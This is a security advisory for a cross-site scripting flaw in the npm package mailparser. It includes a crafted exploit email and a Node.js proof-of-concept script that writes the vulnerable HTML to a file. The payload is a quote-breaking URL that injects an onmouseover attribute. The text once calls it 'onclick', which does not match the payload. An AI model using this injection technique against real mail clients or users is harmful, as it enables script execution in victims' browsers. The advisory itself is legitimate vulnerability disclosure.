Cross-Site Scripting (XSS) in mailparser

exploit-input.eml

From: attacker@evil.com
To: victim@example.com
Subject: Working XSS Exploit
Date: Wed, 28 Jan 2026 10:00:00 +0000
Content-Type: text/plain; charset=utf-8

http://google.com?"onmouseover="alert('XSS')"

exploit-working-test.js

const fs = require('fs');
const {simpleParser} = require('mailparser');

let input = fs.createReadStream(__dirname + '/exploit-input.eml');

simpleParser(input, {
    skipHtmlToText: true,
    skipImageLinks: true,
    skipTextToHtml: false,
    skipTextLinks: false,
    keepDeliveryStatus: true,
    keepCidLinks: true
})
    .then(mail => {
        const vulnerableHtml = mail.textAsHtml || mail.html || '';
        //Open the html file in chrome/browser. alert is shown on mouseover
        fs.writeFileSync(__dirname + '/poc_output.html', vulnerableHtml);
    })
    .catch(err => {
        console.log('Error:', err);
    });

mailparser.md

Security Advisory: XSS Vulnerability in mailparser

Summary

Severity: 🔴 HIGH
CVSS 3.1: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE: CWE-79 (Cross-site Scripting)

A Cross-Site Scripting (XSS) vulnerability in mailparser allows attackers to inject arbitrary JavaScript through malicious email content when URLs containing quotes are processed.

---

Affected Versions

• Package: mailparser (npm)
• Affected: All versions ≤ 3.9.1
• Status: ⚠️ Not yet fixed

---

Vulnerability Details

Location

File: https://github.com/nodemailer/mailparser/blob/master/lib/mail-parser.js#L1132

Line: 1132
Function: textToHtml()

Vulnerable Code

result.push(`<a href="${link.url}">${link.text}</a>`);

Root Cause

The code inserts link.url and link.text (extracted from email by linkify-it) directly into HTML without encoding. When URLs contain quotes in query parameters, fragments, or paths, these quotes break out of the href attribute, enabling attribute injection and XSS.

---

Attack Vector

Exploit Example

Malicious Email:

From: attacker@evil.com
To: victim@example.com
Subject: Check this out
Content-Type: text/plain

Visit: http://google.com?"onmouseover="alert('XSS')"

Generated HTML:

<a href="http://google.com?"onmouseover="alert('XSS')">http://google.com?"onmouseover="alert('XSS')</a>

The quote (") breaks out of href, injecting the onclick attribute.

Proof of Concept

Test Script

const fs = require('fs');
const {simpleParser} = require('mailparser');

let input = fs.createReadStream(__dirname + '/exploit-input.eml');

simpleParser(input, {
    skipHtmlToText: true,
    skipImageLinks: true,
    skipTextToHtml: false,
    skipTextLinks: false,
    keepDeliveryStatus: true,
    keepCidLinks: true
})
    .then(mail => {
        const vulnerableHtml = mail.textAsHtml || mail.html || '';
        //Open the html file in chrome/browser. alert is shown on mouseover
        fs.writeFileSync(__dirname + '/poc_output.html', vulnerableHtml);
    })
    .catch(err => {
        console.log('Error:', err);
    });

---

References

• CWE-79: Improper Neutralization of Input During Web Page Generation
• OWASP A03:2021: Injection
• Package: https://www.npmjs.com/package/mailparser

Credits

https://github.com/hayageek/